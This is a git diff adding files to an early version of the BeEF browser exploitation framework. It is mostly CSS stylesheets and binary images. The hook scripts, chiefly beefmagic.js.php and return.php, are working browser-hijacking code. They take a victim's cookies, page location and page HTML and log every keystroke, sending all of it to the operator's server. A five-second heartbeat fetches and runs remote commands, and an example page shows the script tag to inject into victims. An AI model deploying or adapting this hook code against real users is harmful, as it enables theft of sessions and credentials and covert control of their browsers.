+} +div.menu ul { + padding: 0px; + margin: 0px; + list-style-type:none; + font-size: inherit; +} +div.menu li { + float: left; + min-width: 1em; + position: relative; + z-index: 11; +} +div.menu ul ul { + visibility: hidden; + min-width: 12em; + position: absolute; + height: 0px; + top: 1.5em; /* must be <= div.menu>a height */ +} +div.menu a { + padding: 0px; + padding-left: 3px; + padding-right: 10px; + padding-left: 3px; + display: block; + min-height: 1.5em; + line-height: 1.4em; + z-index: 11; + text-decoration:none; + background: #eeeeee; +} +div.menu a:hover { + background: #cccccc; +} +div.menu ul li a { + background: #FFFFFF; +} +div.menu ul li a:hover { + background: #cccccc; +} +div.menu ul li ul li a:hover { + background: #cccccc; +} +div.menu ul li ul li a { + min-width: 17em; + border: 1px solid #cccccc; + margin-left: 0px; + background: #ffffff; +} + +div.menu ul li:hover ul, div.menu ul a:hover ul { + visibility: visible; +} \ No newline at end of file diff --git a/css/ie/style.css b/css/ie/style.css new file mode 100644 index 000000000..9e05f8023 --- /dev/null +++ b/css/ie/style.css @@ -0,0 +1,471 @@ +/* BODY */ +body { + background-color: white; + width: 990px; + margin-top: 10px; + margin-bottom: 10px; + margin-right: 10px; + color: #333; + font-family: Lucida Grande, Bitstream Vera Sans, Verdana, sans-serif; +} + +#autorun_dyn { + text-align: center +} +/* MAIN */ +#main { + position: static; + width: 530px; + padding-left: 178px; + margin-right: 0px; + padding-right: 0px; + margin-top: 0px; +} + +#bottom { + position: relative; + margin-top: 0px; +} + +/* PAGE HEADER */ +#pageheader { + margin-top: 0px; + padding: 0px; + padding-bottom: 5px; + font-size: 45%; + z-index:-1; +} + +#pageheader a { + text-decoration: none; + color: #000000; +} + +/* BUTTONS */ +#page .button { + width: 8em; + background: #FFFFFF; +} + +#sidebar .button { + width: 100%; + background: #FFFFFF; + padding: 0; + margin: 1px; +} + + +/* LOG SIDEBAR */ +#logsidebar { + position: absolute; + left: 724px; + width: 250px; + margin: 0px; + border: 1px solid #ccc; + margin-right: 5px; + margin-bottom: 10px; + padding: 10px; + padding-top: 0px; + height: 550px; +} + +#logsidebar h2 { + font-size: large; + text-align: center; + margin-top: 0px; + margin-bottom: 0px; + padding-top: 0px; +} + +#logsidebar a { + color: rgb(204, 204, 204); + display: inline; + font-size: 9px; + height: 0px; + margin-right: 0px; + margin-top: 0px; + padding-bottom: 10px; + padding-left: 0px; + padding-right: 0px; + padding-top: 0px; + text-decoration: none; + width: 0px; + text-align: center +} + +#log_header { + margin-bottom: 10px; + padding-top: 10px; +} + +#logdyn { + font-size: 9px; + overflow: auto; + height: 500px; +} + +#logsidebar_heading, #logsidebar_heading a { + text-decoration: none; + font-size: 75%; + color: #000000; + text-align: center +} + + +/* SIDEBAR */ +#sidebar { + position: absolute; + width: 150px; + margin: 0px; + border: 1px solid #ccc; + margin-right: 5px; + margin-bottom: 10px; + padding: 10px; + padding-top: 0px; + height: 550px; + overflow: hidden; +} + +#sidebar textarea, #sidebar input, #sidebar select { + width: 100%; + margin: 5px 0; + padding: 1px; + border: #CCCCCC 1px solid; +} + +#sidebar a:link { + text-decoration: none; + font-size: 75%; + color: #FF0000; + text-align: center +} + +#sidebar #content { + background-color: transparent; + font-size: 80%; +} + +#sidebar h1 { + font-size: x-large; + text-align: center; + margin-top: 5px; + margin-bottom: 15px; + padding-top: 2px; +} + +#sidebar h2 { + font-size: large; + text-align: center; + margin-top: 5px; + margin-bottom: 1px; + padding-top: 2px; +} + +/* PAGE */ +#section { + margin: 1px; + border: 1px solid #ccc; + padding: 1px; + padding-top: 0px; +} + +/* PAGE */ +#newpage { + margin: 1px; + border: 1px solid #ccc; + padding: 1px; + padding-top: 0px; + font-size: 80%; +} + + +#section_title { + margin: 1px; + border: 1px solid #ccc; + padding: 1px; + padding-top: 0px; +} + +#section_content { + margin: 1px; + border: 1px solid #ccc; + padding: 1px; + padding-top: 0px; + background-color: #ccc; + +} + +/* PAGE */ +#page { + margin-top: 0px; + margin-right: -2px; + border: 1px solid #ccc; + padding: 10px; + padding-top: 0px; + font-size: 80%; + height: 550px; + overflow: auto; +} + +#page textarea, #page input, #page select { + width: 100%; + margin: 5px 0; + padding: 1px; + border: #CCCCCC 1px solid; +} + +#page #content { + background-color: transparent; +}/* + +#page p { + margin-top: 0; +} + +#page h2 { + font-size: large; + text-align: center; + border-bottom: 1px solid #ccc; + padding-bottom: 2px; +} + +#page h3 { + text-align: center; + padding-top: 10px; + margin: 0px; + font-size: 100%; +} + +/* DYNAMIC ZOMBIE SECTION */ +#zombies { + text-align: left; + vertical-align: -30px; + height: 15px; + font-size: 110%; + padding: 0; + margin:0; + padding-top: 0px; + margin-bottom: 2px; + border: 1px solid #ccc; + margin-right: -1px; + margin-left: 1px; + width: 130px; +} + +#zombies p { + vertical-align: -10px; + margin:0px; + padding: 0px; +} + +#zombies img { + text-align: left; + vertical-align: -1px; + padding: 1px; + margin:0; + padding-top: 0px; + padding-left: 2px; + margin-bottom: 1px; + margin-top: 1px; + margin-left: 1px; +} + +/* SELECTED DYNAMIC ZOMBIE SECTION */ +#zombiessel { + background-color: #ccc; + text-align: left; + vertical-align: -30px; + height: 15px; + font-size: 110%; + padding: 0; + margin:0; + padding-top: 0px; + margin-bottom: 2px; + border: 1px solid #ccc; + margin-right: -1px; + margin-left: 1px; +} + +#zombiessel p { + vertical-align: -10px; + margin:0px; + padding: 0px; +} + +#zombiessel img { + text-align: left; + vertical-align: -1px; + padding: 1px; + margin:0; + padding-top: 0px; + padding-left: 2px; + margin-bottom: 1px; + margin-top: 1px; + margin-left: 1px; +} + +#zombiesdyn { + text-align: center; + overflow-y: auto; + overflow-x: hidden; + height: 355px; +} + +#module_header { + font-size: large; + font-weight: bold; + text-align: left; + padding-top: 10px; + margin: 0px; +} + +#module_subsection { + margin-top: 0px; + margin-right: 0px; + border: 1px solid #ccc; + padding: 10px; + padding-left: 5px; + padding-top: 0px; + padding-bottom: 0px; + font-size: 100%; +} + +/* BUTTONS */ +#module_subsection .button { + width: 8em; + background: #FFFFFF; +} + +#module_subsection textarea { + font-family: Lucida Grande, Bitstream Vera Sans, Verdana, sans-serif; + width: 100%; + font-size: 80%; + margin: 5px 0; + padding: 1px; + border: #CCCCCC 1px solid; +} + +#module_subsection input, #module_subsection select { +/* font-weight: bold; */ + width: 100%; + margin: 5px 0; + padding: 1px; + border: #CCCCCC 1px solid; +} + +#module_subsection_header { + font-weight: bold; + margin-top: 0px; + margin-right: 0px; + padding: 0px; + padding-left: 0px; + padding-top: 0px; +/* font-size: 120%; */ +/* display: inline; */ +} + +#zombie_header { + font-size: large; + font-weight: bold; + text-align: left; + padding-top: 10px; + margin: 0px; +} + +#zombie_subsection { +/* font-weight: bold; */ + margin-top: 0px; + margin-right: 0px; + border: 1px solid #ccc; + padding: 0px; + padding-left: 5px; + padding-top: 0px; + font-size: 100%; +} + +#zombie_subsection_header { + font-weight: bold; + margin-top: 0px; + margin-right: 0px; + padding: 0px; + padding-left: 0px; + padding-top: 0px; +/* font-size: 120%; */ + display: inline; +} + +#zombie_header a { + display: inline; + text-decoration: none; +/* font-weight: none; */ + margin-top: 0px; + margin-right: 0px; + padding: 0px; + padding-left: 0px; + padding-top: 0px; +/* color: #FF0000; */ + color: #CCCCCC; + font-size: 60%; +} + +#zombie_subsection textarea, #zombie_subsection input, #zombie_subsection select { + width: 100%; + margin: 5px 0; + padding: 1px; + border: #CCCCCC 1px solid; +} + +#zombie_page_title { + font-weight: bold; + text-align: left; + padding-top: 100px; + margin-top: 100px; + font-size: 180%; +} + +/* ZOMBIE TEXT - on buttons*/ +#zombietext { + color: black; + font-size: 110%; + padding-top: 10px; + margin-top: -27px; + margin-left: 5px; +} + +/* GENERAL CONTENT (HELP, ETC) */ +DIV.entry { + margin-bottom: 10px; +} + DIV.entry P { + margin: 0; + } + DIV.entry P.title { + font-size: large; + font-weight: bold; + text-align: left; + padding-top: 10px; + margin: 0px; + } + + DIV.entry a { + text-decoration: none; + color: #FF0000; + } + +#credits { + float: right; + position: static; + margin-right: 10px; + margin-top: -24px; + font-size: 70%; + text-decoration: none; + color: #FF0000; + font-weight: bold; + z-index: 40; +} + +#credits a { + color: #FF0000; + text-decoration: none; + z-index: 40; +} diff --git a/css/safari/menu.css b/css/safari/menu.css new file mode 100644 index 000000000..88e745111 --- /dev/null +++ b/css/safari/menu.css @@ -0,0 +1,70 @@ +/* + * no > selectors are used, 'cause some browsers are too stupid + */ +div.menu { + padding: 3px; + margin: 0px; + width: 99%; + height: 1.5em; + border: 1px solid #cccccc; + position: relative; + font-size: 150%; + font-weight: bold; + background: transparent; + z-index: 1; +} +div.menu ul { + padding: 0px; + margin: 0px; + list-style-type:none; + font-size: inherit; +} +div.menu li { + float: left; + min-width: 1em; + position: relative; + z-index: 11; + background: transparent; +} +div.menu ul ul { + visibility: hidden; + min-width: 12em; + position: absolute; + height: 0px; + top: 1.5em; /* must be <= div.menu>a height */ +} +div.menu ul ul a, div.menu ul ul a:visited { + height: auto; +} +div.menu a, div.menu a:visited, div.menu a:focus { + padding: 0px; + padding-left: 3px; + padding-right: 10px; + display: block; + min-height: 1.5em; + line-height: 1.4em; + z-index: 11; + text-decoration:none; + background: white; +} +div.menu a:hover { + background: #cccccc; +} +div.menu ul li a:hover { + background: #cccccc; +} + +div.menu ul li a { + background: #FFFFFF; +} + +div.menu ul li ul li a { + min-width: 17em; + border: 1px solid #cccccc; + margin-left: 0px; + background: #FFFFFF; +} + +div.menu ul li:hover ul, div.menu ul a:hover ul { + visibility: visible; +} \ No newline at end of file diff --git a/css/safari/style.css b/css/safari/style.css new file mode 100644 index 000000000..e08476894 --- /dev/null +++ b/css/safari/style.css @@ -0,0 +1,478 @@ +/* BODY */ +body { + background-color: white; + width: 990px; + margin-top: 10px; + margin-bottom: 10px; + margin-right: 10px; + color: #333; + font-family: Lucida Grande, Bitstream Vera Sans, Verdana, sans-serif; + align: center; +} + +#autorun_dyn { + text-align: center +} + +/* MAIN */ +#main { + position: static; + width: 530px; + padding-left: 178px; + margin-right: 0px; + padding-right: 0px; + margin-top: 0px; +} + +#bottom { + position: relative; + margin-top: 0px; +} + +/* PAGE HEADER */ +#pageheader { + margin-top: 0px; + padding: 0px; + padding-bottom: 5px; + font-size: 45%; +} + +#pageheader a { + text-decoration: none; + color: #000000; +} + +/* BUTTONS */ +#page .button { + width: 8em; + background: #FFFFFF; +} + +#sidebar .button { + width: 100%; + background: #FFFFFF; + padding: 0; + margin: 1px; +} + +/* LOG SIDEBAR */ +#logsidebar { + position: absolute; + left: 724px; + width: 250px; + margin: 0px; + border: 1px solid #ccc; + margin-right: 5px; + margin-bottom: 10px; + padding: 10px; + padding-top: 0px; + height: 550px; +} + +#logsidebar h2 { + font-size: large; + text-align: center; + margin-top: 0px; + margin-bottom: 0px; + padding-top: 0px; +} + +#logsidebar a { + color: rgb(204, 204, 204); + display: inline; + font-size: 11px; + height: 0px; + margin-right: 0px; + margin-top: 0px; + padding-bottom: 10px; + padding-left: 0px; + padding-right: 0px; + padding-top: 0px; + text-decoration: none; + width: 0px; + text-align: center +} + +#log_header { + margin-bottom: 10px; + padding-top: 10px; +} + +#logdyn { + font-size: 9px; + overflow: auto; + height: 500px; +} + +#logsidebar_heading, #logsidebar_heading a { + text-decoration: none; + font-size: 75%; + color: #000000; + text-align: center +} + + +/* SIDEBAR */ +#sidebar { + position: absolute; + width: 150px; + margin: 0px; + border: 1px solid #ccc; + margin-right: 5px; + margin-bottom: 10px; + padding: 10px; + padding-top: 0px; + height: 550px; + overflow: hidden; +} + +#sidebar textarea, #sidebar input, #sidebar select { + width: 100%; + margin: 5px 0; + padding: 1px; + border: #CCCCCC 1px solid; +} + +#sidebar a:link { + text-decoration: none; + font-size: 75%; + color: #FF0000; + text-align: center +} + +#beefheading a { + text-decoration: none; + font-size: 75%; + color: #FF0000; + text-align: center +} + +#sidebar #content { + background-color: transparent; + font-size: 80%; +} + +#sidebar h1 { + font-size: x-large; + text-align: center; + margin-top: 5px; + margin-bottom: 15px; + padding-top: 2px; +} + +#sidebar h2 { + font-size: large; + text-align: center; + margin-top: 5px; + margin-bottom: 1px; + padding-top: 2px; +} + +/* PAGE */ +#section { + margin: 1px; + border: 1px solid #ccc; + padding: 1px; + padding-top: 0px; +} + +/* PAGE */ +#newpage { + margin: 1px; + border: 1px solid #ccc; + padding: 1px; + padding-top: 0px; + font-size: 80%; +} + + +#section_title { + margin: 1px; + border: 1px solid #ccc; + padding: 1px; + padding-top: 0px; +} + +#section_content { + margin: 1px; + border: 1px solid #ccc; + padding: 1px; + padding-top: 0px; + background-color: #ccc; + +} + +/* PAGE */ +#page { + margin-top: 0px; + margin-right: -2px; + border: 1px solid #ccc; + padding: 10px; + padding-top: 0px; + font-size: 80%; + height: 550px; + overflow: auto; +} + +#page textarea, #page input, #page select { + width: 100%; + margin: 5px 0; + padding: 1px; + border: #CCCCCC 1px solid; +} + +#page #content { + background-color: transparent; +}/* + +#page p { + margin-top: 0; +} + +#page h2 { + font-size: large; + text-align: center; + border-bottom: 1px solid #ccc; + padding-bottom: 2px; +} + +#page h3 { + text-align: center; + padding-top: 10px; + margin: 0px; + font-size: 100%; +} + +/* DYNAMIC ZOMBIE SECTION */ +#zombies { + text-align: left; + vertical-align: -30px; + height: 15px; + font-size: 110%; + padding: 0; + margin:0; + padding-top: 0px; + margin-bottom: 2px; + border: 1px solid #ccc; + margin-right: -1px; + margin-left: 1px; + width: 130px; +} + +#zombies p { + vertical-align: -10px; + margin:0px; + padding: 0px; +} + +#zombies img { + text-align: left; + vertical-align: -1px; + padding: 1px; + margin:0; + padding-top: 0px; + padding-left: 2px; + margin-bottom: 1px; + margin-top: 1px; + margin-left: 1px; +} + +/* SELECTED DYNAMIC ZOMBIE SECTION */ +#zombiessel { + background-color: #ccc; + text-align: left; + vertical-align: -30px; + height: 15px; + font-size: 110%; + padding: 0; + margin:0; + padding-top: 0px; + margin-bottom: 2px; + border: 1px solid #ccc; + margin-right: -1px; + margin-left: 1px; +} + +#zombiessel p { + vertical-align: -10px; + margin:0px; + padding: 0px; +} + +#zombiessel img { + text-align: left; + vertical-align: -1px; + padding: 1px; + margin:0; + padding-top: 0px; + padding-left: 2px; + margin-bottom: 1px; + margin-top: 1px; + margin-left: 1px; +} + +#zombiesdyn { + text-align: center; + overflow-y: auto; + overflow-x: hidden; + height: 355px; +} + +#module_header { + font-size: large; + font-weight: bold; + text-align: left; + padding-top: 10px; + margin: 0px; +} + +#module_subsection { + margin-top: 0px; + margin-right: 0px; + border: 1px solid #ccc; + padding: 10px; + padding-left: 5px; + padding-top: 0px; + padding-bottom: 0px; + font-size: 100%; +} + +/* BUTTONS */ +#module_subsection .button { + width: 8em; + background: #FFFFFF; +} + +#module_subsection textarea { + font-family: Lucida Grande, Bitstream Vera Sans, Verdana, sans-serif; + width: 100%; + font-size: 80%; + margin: 5px 0; + padding: 1px; + border: #CCCCCC 1px solid; +} + +#module_subsection input, #module_subsection select { +/* font-weight: bold; */ + width: 100%; + margin: 5px 0; + padding: 1px; + border: #CCCCCC 1px solid; +} + +#module_subsection_header { + font-weight: bold; + margin-top: 0px; + margin-right: 0px; + padding: 0px; + padding-left: 0px; + padding-top: 0px; +/* font-size: 120%; */ +/* display: inline; */ +} + +#zombie_header { + font-size: large; + font-weight: bold; + text-align: left; + padding-top: 10px; + margin: 0px; +} + +#zombie_subsection { +/* font-weight: bold; */ + margin-top: 0px; + margin-right: 0px; + border: 1px solid #ccc; + padding: 0px; + padding-left: 5px; + padding-top: 0px; + font-size: 100%; +} + +#zombie_subsection_header { + font-weight: bold; + margin-top: 0px; + margin-right: 0px; + padding: 0px; + padding-left: 0px; + padding-top: 0px; +/* font-size: 120%; */ + display: inline; +} + +#zombie_header a { + display: inline; + text-decoration: none; +/* font-weight: none; */ + margin-top: 0px; + margin-right: 0px; + padding: 0px; + padding-left: 0px; + padding-top: 0px; +/* color: #FF0000; */ + color: #CCCCCC; + font-size: 60%; +} + +#zombie_subsection textarea, #zombie_subsection input, #zombie_subsection select { + width: 100%; + margin: 5px 0; + padding: 1px; + border: #CCCCCC 1px solid; +} + +#zombie_page_title { + font-weight: bold; + text-align: left; + padding-top: 100px; + margin-top: 100px; + font-size: 180%; +} + +/* ZOMBIE TEXT - on buttons*/ +#zombietext { + color: black; + font-size: 110%; + padding-top: 10px; + margin-top: -27px; + margin-left: 5px; +} + +/* GENERAL CONTENT (HELP, ETC) */ +DIV.entry { + margin-bottom: 10px; +} + DIV.entry P { + margin: 0; + } + DIV.entry P.title { + font-size: large; + font-weight: bold; + text-align: left; + padding-top: 10px; + margin: 0px; + } + + DIV.entry a { + text-decoration: none; + color: #FF0000; + } + +#credits { + float: right; + position: static; + margin-right: 10px; + margin-top: -24px; + font-size: 70%; + text-decoration: none; + color: #FF0000; + font-weight: bold; + z-index: 40; +} + +#credits a { + color: #FF0000; + text-decoration: none; + z-index: 40; +} diff --git a/hook/autorun.js.php b/hook/autorun.js.php new file mode 100644 index 000000000..1d93fcf16 --- /dev/null +++ b/hook/autorun.js.php @@ -0,0 +1,22 @@ + diff --git a/hook/beefmagic.js.php b/hook/beefmagic.js.php new file mode 100644 index 000000000..530f5739c --- /dev/null +++ b/hook/beefmagic.js.php @@ -0,0 +1,161 @@ + + +top.document.onkeypress = catch_key; + +if (window.attachEvent) + window.attachEvent('onload', beef_onload); +else if (window.addEventListener) + window.addEventListener('load', beef_onload, 0); + +beef_url = ""; + +// ---[ IS_XUL_CHROME +// determing if we are in chrome (privileged browser zone) +function isXULChrome() { + try { + // check if this is a standard HTML page or a different document (e.g. XUL) + // if that is undefined, then catch() will be executed + var dummy = document.body.innerHTML; + return false; + } catch(e) { + // if we get here, that means head is undefined so probably not an HTML doc + return true; + } +} + +// ---[ BEEF_ONLOAD +function beef_onload() { + return_result('loc', document.location); + return_result('cookie', document.cookie); + if( ! isXULChrome() ) { + save_page(); + } +} + +var key_history = new Array(4); +var magic_seq = ['B','e','E','F']; + +// ---[ SAVE_PAGE +function save_page() { + + var a = document.body.innerHTML; + var begin = 0; + var block_size = 1000; + + while (a.length > begin) { + return_result('html', a.substring(begin,begin+block_size)); + begin = begin+block_size; + } +} + +// ---[ CATCH_KEY +function catch_key(e) { + var keynum; + + if(window.event) { // IE + keynum = event.keyCode; + } else if(e.which) { // Netscape/Firefox/Opera + keynum = e.which; + } else { + //TODO handle error + return 0; + } + + var keychar = String.fromCharCode(keynum); + + // keep key history + for(i=0;i<3;i++) { + key_history[i] = key_history[i+1]; + } + key_history[3] = keychar; + + // check if history is magic_seq + var escape_beef = true; + for(i=0;i<4;i++) { + if(key_history[i] != magic_seq[i]){ + escape_beef = false; + } + } + + if(escape_beef) { + alert('Controlled by BeEF - http://www.bindshell.net'); + } + + // return key to beef + return_result('kl', keychar); +} + +var sw = screen.width; +var sh = screen.height; +var sd = screen.colorDepth; + +return_result('screen', sw+ "x" +sh+ " with " +sd+ "-bit colour"); + +// ---[ RETURN_RESULT +// send result to beef +function return_result(action, data) { + var img_tmp = new Image(); + var src = beef_url + '/hook/return.php?BeEFSession=&action=' + action + '&data=' + escape(data); + img_tmp.src = src; +} + +// ---[ INCLUDE +function include(script_filename) { + + if( ! isXULChrome() ) { + var html_doc = document.getElementsByTagName('head').item(0); + var js = document.createElement('script'); + js.src = script_filename; + js.type = 'text/javascript'; + js.defer = true; + html_doc.appendChild(js); + return js; + } else { + //top/root XUL elements are: window, dialog, overlay, wizard, prefwindow, page, wizard + + var xul_doc; + + if ((xul_doc=document.getElementsByTagName('window')[0]) || (xul_doc=document.getElementsByTagName('page')[0]) || (xul_doc=document.getElementsByTagName('dialog')[0]) || (xul_doc=document.getElementsByTagName('overlay')[0]) || (xul_doc=document.getElementsByTagName('wizard')[0]) || (xul_doc=document.getElementsByTagName('prefwindow')[0])) { + + var js = document.createElementNS("http://www.w3.org/1999/xhtml","html:script"); + js.setAttribute("src", script_filename); + js.setAttribute("type", "text/javascript"); + js.setAttribute("defer", "true"); + xul_doc.appendChild(js); + return js; + } + } +} + +// start heartbeat +setInterval(function () { + var date = new Date().getTime(); + include(beef_url + '/hook/command.php?BeEFSession=&time=' + date); +}, 5000); + +// run autorun module +// need setTimeout as the DOM element that is grabbed by include() function is not yet there +// our injection may occur before the element is created within the DOM +setTimeout(function () { + var date = new Date().getTime(); + include(beef_url + '/hook/autorun.js.php?BeEFSession=&time=' + date); +}, 2000); + diff --git a/hook/command.php b/hook/command.php new file mode 100644 index 000000000..26f83ea92 --- /dev/null +++ b/hook/command.php @@ -0,0 +1,35 @@ + diff --git a/hook/example.php b/hook/example.php new file mode 100644 index 000000000..1cde1903e --- /dev/null +++ b/hook/example.php @@ -0,0 +1,23 @@ + + + + BeEF Test Page + + + + + BeEFBeEF Test Page

+ + + + The following code needs to be included in the zombie:
+ + <script language='Javascript' + src="hook/beefmagic.js.php'></script> + +
+ + + diff --git a/hook/ipc_bindshell.js.php b/hook/ipc_bindshell.js.php new file mode 100644 index 000000000..801b3ff9a --- /dev/null +++ b/hook/ipc_bindshell.js.php @@ -0,0 +1,29 @@ + + +onload = beef_onload; + +beef_url = ""; + +function beef_onload() { + raw_imap_output=document.body.innerHTML; + pos=raw_imap_output.indexOf('__END__'); + result=raw_imap_output.substring(pos+18, raw_imap_output.length); + result=result.replace(/\n/g,"CR"); + return_result(result_id, result); +} + + +// ---[ RETURN_RESULT +// send result to beef +function return_result(action, data) { + var img_tmp = new Image(); + var src = beef_url + '/hook/return.php?action=' + action + '&data=' + escape(data); + img_tmp.src = src; +} + diff --git a/hook/ipc_imap.js.php b/hook/ipc_imap.js.php new file mode 100644 index 000000000..4b3cc9f65 --- /dev/null +++ b/hook/ipc_imap.js.php @@ -0,0 +1,29 @@ + + +onload = beef_onload; + +beef_url = ""; + +function beef_onload() { + raw_imap_output=document.body.innerHTML; + pos=raw_imap_output.indexOf('__END__'); + result=raw_imap_output.substring(pos+37, raw_imap_output.length); + result=result.replace(/\n/g,"CR"); + return_result(result_id, result); +} + + +// ---[ RETURN_RESULT +// send result to beef +function return_result(action, data) { + var img_tmp = new Image(); + var src = beef_url + '/hook/return.php?action=' + action + '&data=' + escape(data); + img_tmp.src = src; +} + diff --git a/hook/return.php b/hook/return.php new file mode 100644 index 000000000..02f006cb5 --- /dev/null +++ b/hook/return.php @@ -0,0 +1,95 @@ +' . date("F j, Y, g:i a", $time) . ''; + + $encoded_data = html_encode_all($data); + $encoded_data = convert_10_br($encoded_data); + + file_put_contents($_SESSION[$action], $time_html . "
\n", FILE_APPEND); + file_put_contents($_SESSION[$action], $encoded_data . "
\n", FILE_APPEND); + + // the data will be encoded in beef_log() + beef_log("Module Result: \n" . $data, "Module Result: \n" . $data); + + exit; + } + + // take action based on the action param + switch ($action) { + case "kl": // key registered + append_data(KEYLOG_FILENAME, $data); + break; + case "screen": // screen details + save_data(SCREEN_FILENAME, $data); + beef_log("", "Screen: " . $data); + break; + case "html": // html details + $stripped_data = stripslashes($data); + append_data(HTML_FILENAME, $stripped_data); + beef_log("", "HTML Contents: " . $stripped_data); + break; + case "cookie": // cookie details + save_data(COOKIE_FILENAME, $data); + beef_log("", "Cookie: " . $data); + break; + case "loc": // location details + save_data(LOC_FILENAME, $data); + beef_log("", "Requested URL: " . $data); + break; + default: // unexpected + beef_error("unknown action: $action"); + beef_log("", "Unknown Action: " . $action); + } + + // --[ CHECK_ZOMBIE_DIR + function check_zombie_dir() { + $zombie_dir = ZOMBIE_TMP_DIR . session_id(); + + // create a directory for this zombie if it doens't exist + if(!file_exists($zombie_dir)) { + mkdir($zombie_dir); + } + } + + // --[ APPEND_DATA + function append_data($filename, $data) { + if (empty($data)) { beef_error('no data to save - append data'); }; + + $zombie_dir = ZOMBIE_TMP_DIR . session_id(); + $zombie_data_file = $zombie_dir . "/" . $filename; + file_put_contents($zombie_data_file, $data, FILE_APPEND); + } + + // --[ SAVE_DATA + function save_data($filename, $data) { + if (empty($data)) { beef_error('no data to save - write data'); }; + + $zombie_dir = ZOMBIE_TMP_DIR . session_id(); + $zombie_data_file = $zombie_dir . "/" . $filename; + file_put_contents($zombie_data_file, $data); + } +?> diff --git a/images/beef.gif b/images/beef.gif new file mode 100644 index 0000000000000000000000000000000000000000..9a49d906aa54e5798aa53b79fb4fbdd78a8e3fee GIT binary patch literal 486 zcmZ?wbhEHbRA5kGaA9Cj{K>+|z#zt;!vF*zu@)fx|MW~HC8huWP8%B=ySTXg|Np@18kxrl6o;T3Q+dP!2C({hz=p z5Ed!tFv}=s_M|k=6>O`PwJ&(T$L@YZvtp`&i%Pp>V!(^HT+NJ5l@naLb}TBB$o;k; zkR>5{iy+?%6NOv4I}Qf98uW(saa5>Q?{`-a@v8I^vveAw`VDIa9V456gIhDPhLD;Hyo)`BzVTM(K*$m59nHv}>uUp4v%%sV@m7)7Ua)rq1 zmSk>CZqtq1lQdUFBx|Y}vvF6f)9^oRlN^1@EBd~F9mk```y37Jvo2b(cGq@H?t3GL7S!pJ#B2g{+=n#vZY=`RWE7?4v$&ZhfMqJG8Y|a0)Z$orJ(oG>n H1_o;Y?R2Q_ literal 0 HcmV?d00001 diff --git a/images/bones.gif b/images/bones.gif new file mode 100644 index 0000000000000000000000000000000000000000..5fc6840e960e459e1663bea53eb0eb0e3af3cd7e GIT binary patch literal 356 zcmZ?wbhEHbRA5kGFlJy-{K>+|z`((v!vF*zv1TCs|IExYGt*|K87nC%m6w;N88fi3 zuz(a`11$dqPDXa<8V7rCxHeUxY`#ceT&F;i07uKIU5m8@n;nlom62eMTb5+_qRgoA zb^3z@r_&lblCg&tgg*Vs9Ga%9ySjW;V&+~G3BMz9EuOPC&(`G-V`$zZ=ezIY*D3~o zhL(!T8XG(P##T)c2KM%_gs@8XCNq(Vc_wW2%ANygO=`bT!kw-v`{N0!b|sCd+E^~X4T{SkY^KWu_VkGLATnth~hp5Az3 mp`)LJj-Abs{KXwMQi9%hI8|N=ZmctVC!l5NvZ#%N!5RSR&VWDw literal 0 HcmV?d00001 diff --git a/images/bsd.png b/images/bsd.png new file mode 100644 index 0000000000000000000000000000000000000000..6bd3d29e19f28c02a928ec233b0fb5d5222e205f GIT binary patch literal 253 zcmeAS@N?(olHy`uVBq!ia0vp^d?3ui3?$#C89V|~>?NMQuIv}M`1m!orz`*H1`2T& zctjR6FmMZjFyp1Wb$@_@Ea{HEjtmSN`?>!lvI6-A0X`wF|Ns97NqN{Z80#^pDKiKN zsJb~ZSXve?nlWeVMwX()wR`tkPH1M};8?nLX;f_Nnzc=bfEpM}g8YIR9G=}s19F@_ zT^vIyZY3uiU}RBjaI8DF%GJxOTk^>>ouVMqoku3z-5hb$^Lop|&Dk5LP28pAJS%A8 o=1oNk&674x+%&ORAx0kPrT7FVdQ&MBb@0Kzs=8~^|S literal 0 HcmV?d00001 diff --git a/images/bsdfreebsd.png b/images/bsdfreebsd.png new file mode 100644 index 0000000000000000000000000000000000000000..3b598628732352b340b31b29299a3d205105e9db GIT binary patch literal 329 zcmeAS@N?(olHy`uVBq!ia0vp^d?3ui3?$#C89V|~nkB9gB`&GO$wiq3C7Jno4DOj} zPNkVSDXB#Y270CnNtFtbWvRsq0h#HgsU>zhJ5~ZUv6p!Iy0Ty3;^WuUp050(8z{tC z;1OBOz`!j8!i<;h*8KqrvZOouIx;Y9?C1WI$O`1^2Ka=y{{R2~!s!cBGV>$!ZKHjY zmQI^@eC5XX@83HrX>ZfXIaQ%!7>RCV89yLNBu-X-kf=|GK)B|(0{3=Yq3qyagx zo-U3d6}OTT5;T&|6eln=JrLh5>QHiQ<`-^-S&r(Ld3=uNSg9~9()P>eVYzrFebNDw z<1d>ND*K)>2UIb4Xa$>v=_Diwga(@N%{>wDO6|&`uFPpAawY;0g;_}(D)XW46| RV?c`-JYD@<);T3K0RYt*b=m*` literal 0 HcmV?d00001 diff --git a/images/chrome.png b/images/chrome.png new file mode 100644 index 0000000000000000000000000000000000000000..59262913f3f0e8396e49bc74162a3769afe4f4d6 GIT binary patch literal 5268 zcmV;F6l?2=P)Px#24YJ`L;(K){{a7>y{D4^000SaNLh0L01FcU01FcV0GgZ_00007bV*G`2iOS{ z2@WNvQ*5LF02CBSL_t(&-o2W6a3$4!??2~s_wBpsYF|duXrz(QEHEnrGlPx6U@(p$ z#t9Sq`T2!FV!t?vpI<1KQ}u#*uGCB7m!%x1oW+R~s+`2-#4a#UVM5r!VHofXGh+s3 z(`Xs(($#jCUe7u2k9(z&1cAiirB%N=-7R(N_v!ENch2eGX~BE6{leb8iH~jHzO6Nv zyV{a+yJcDZfl?b?$Ei19LZ#+wTzA-yqI24q(_>3Z#}+;B?7iRpZv0;SfAJr=_<{ZV z)7N))-d3AT9!fgS2VK`~7Pc*glpxmKT8N4nvuxUr;|VW{o+^gn_Z~fa_NhNQdNlY? z1^L?p2in@x>0izz62F*moDS(Y!f1{5JaoB?4ns^FR~%l3kP=~82*<%nCXvY`(sdD* z1wt5K>!HOk{O0-j`M>z=^Uu%!e+BuO>#pOoQS|xRD0;xLtR|6201%9fpnbpMyiyor z5L&NXXR2xlDZ#Q}(b*l|r~K zo@Ko>9t5BJ=efC4f1S_2tAF;pCh-^VvG?4u?=#^E4eefSQ|Q z>7j>6t%G>Gr}K6&+8B&dXr)kLh%OX}Y#SU0%eJrE;JPn-#F#Hc$>g{H#`n!T`Dwk= zFTecluOxeJ?)}qQ%fJ8Vx1Md?9@Hg1w0p0pFBLJPqXbVriJY6m0TO`o4rZ@v?RCei z|IX4HODSX&AxfoWIt=gVR?2EJ=7+C>{&$0X?i;_BYS`2G?Fnb<)A?Cn$m2`2)HibT 